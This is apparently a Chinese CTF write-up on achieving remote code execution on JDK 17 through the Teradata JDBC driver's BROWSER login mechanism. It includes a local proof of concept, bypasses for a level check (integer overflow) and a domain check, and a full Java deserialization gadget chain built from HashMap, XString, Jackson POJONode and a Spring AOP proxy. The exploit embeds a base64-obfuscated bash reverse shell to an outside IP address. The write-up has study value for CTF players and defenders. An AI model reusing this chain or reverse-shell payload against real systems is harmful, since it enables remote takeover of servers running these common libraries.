因为之前再看那个绕高版本的jdk的jndi注入的时候 就有提到用jndi转JDBC来打 当时就是看看 没有实践 现在刚好这次比赛出了jdk17打JDBC的题 这里就记录一下

Teradata JDBC

https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf

https://github.com/luelueking/Deserial_Sink_With_JDBC

python运行那两个脚本就行了

POC

image-20240319152109847

1
2
3
4
5
6
7
8
9
10
11
12
package com.example;

import java.io.IOException;
import java.sql.DriverManager;
import java.sql.SQLException;

public class POC {
public static void main(String[] args) throws SQLException, IOException {
DriverManager.registerDriver(new com.teradata.jdbc.TeraDriver());
DriverManager.getConnection("jdbc:teradata://127.0.0.1/DBS_PORT=10250,LOGMECH=BROWSER,BROWSER='calc',TYPE=DEFAULT,COP=OFF,TMODE=TERA,LOG=DEBUG");
}
}

image-20240319152202551

跟进这个getConnection函数

image-20240319152250143

再次跟进这个getConnection函数中去

image-20240319152322791

接着跟进这个connnect函数中

image-20240319152340172

跟进doConnect函数中

image-20240319152433806

这个函数会拆分我们传入的url参数 并将值挨个提取出来

image-20240319152521730

接着跟进createConnection函数中

image-20240319152548590

再次跟进createConnection函数中

image-20240319152752314

满足if判断 进入到TDSession函数中

image-20240319152833423

image-20240319152901528

携带我们传入的参数进入到其父类的构造函数中去

image-20240319152932248

最后在GenericTeradataConnection的构造函数中执行了命令

这就是这个漏洞的成因 那么我们就只需要找到前半段链子来连接上getConnetion就行了

(接下来回归到题目本身)

Javolution

https://blog.wm-team.cn/index.php/archives/72/

image-20240319153754054

image-20240319153804494

反序列化入口在这里 在进入到这里之前 我们得绕过两个限制

image-20240319153936320

一个是等级一个是域名限制

image-20240319154007589

image-20240319154035790

等级用整数溢出绕过

域名用sudo.cc绕过 xx.sudo.cc也是指向127.0.0.1

1
2
url/pal/cheat?defense=-2147483647
url/pal/battle/flag

image-20240319154212483

这样的话就绕过上面的两个限制了

POC

(这里打成功一次 第二次就打不通了 不知道啥原因 md)

这里本是想直接BadAttributeValueExpException当入口点来打的

但是BadAttr的val属性,在java8是Object类型,在jdk17中是String类型

那么我们其实就可以换成

1
2
Hashmap->Xstring->Pojonode->getter
就是将BadAttributeValueExpException换成了HashMap+Xstring

还有一点就是这哥jdk17 ban了反射 不给我们直接用

image-20240320101721963

原因是这个module的原因 但是我们可以在configurations来进行修改 这也算个trick 我们可以通过java的option开启模块,反序列化并不会检验 所以就可以不用绕这个module了

image-20240320104928149

1
2
3
--add-opens java.base/java.util=ALL-UNNAMED --add-exports  java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED

--add-exports java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.example;
//import com.fasterxml.jackson.databind.node.POJONode;

//import com.fasterxml.jackson.databind.node.POJONode;

import com.fasterxml.jackson.databind.node.POJONode;
//import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.framework.AdvisedSupport;
import org.dubhe.javolution.pool.PalDataSource;
import javax.sql.DataSource;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

public class exp {
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
// static {
// try {
// // javassist 修改 BaseJsonNode
// ClassPool classPool = ClassPool.getDefault();
// CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
// writeReplace.setBody("return $0;");
// ctClass.writeFile();
// ctClass.toClass();
// } catch (Exception e){
// e.printStackTrace();
// }
// }

public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, NoSuchFieldException {

String command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk5LjEwLjEwMy81NDE4NyAwPiYx}|{base64,-d}|{bash,-i}";
PalDataSource dataSource = new PalDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("192.168.52.129");
dataSource.setDbsPort("10251");
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(dataSource);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
POJONode a = new POJONode(proxy);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", a);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", a);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));

setFieldValue(s, "table", tbl);

ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes);
objectOutputStream.writeObject(s);
byte[] output = Base64.getEncoder().encode(bytes.toByteArray());
FileOutputStream fout = new FileOutputStream(new File("guoke.ser"));
fout.write(bytes.toByteArray());
fout.close();
System.out.println(new String(output));

byte[] input = Base64.getDecoder().decode(output);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(input);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}
}

image-20240320105038907

生成payload后直接打就行了

image-20240320105105325

记得把fakeserver和fakesso给运行起来

image-20240320105135806

image-20240320105142579

然后就能打成功了

接着上面提到过的 为什么不直接调用TeraDataSource的getconnection方法 因为这里的话会调用到TeraDataSource的getParentLogger方法 导致报错 但是如果调用的是PalDataSource的话 因为这个类继承于TeraDataSource 然后就会调用到TeraDataSource的getconnetion方法 这样就不会报错了

(因为这个PalDataSource是有参getconnect方法 会调用到TeraDataSource里的那个有参getconnect方法 如果使用TeraDataSource来打的话就会调用到其中的无参getconnect方法 导致调用到getParentLogger报错)

晚点再写一下那个N1-j的那几道题 也是打jdk17的jdbc来RCE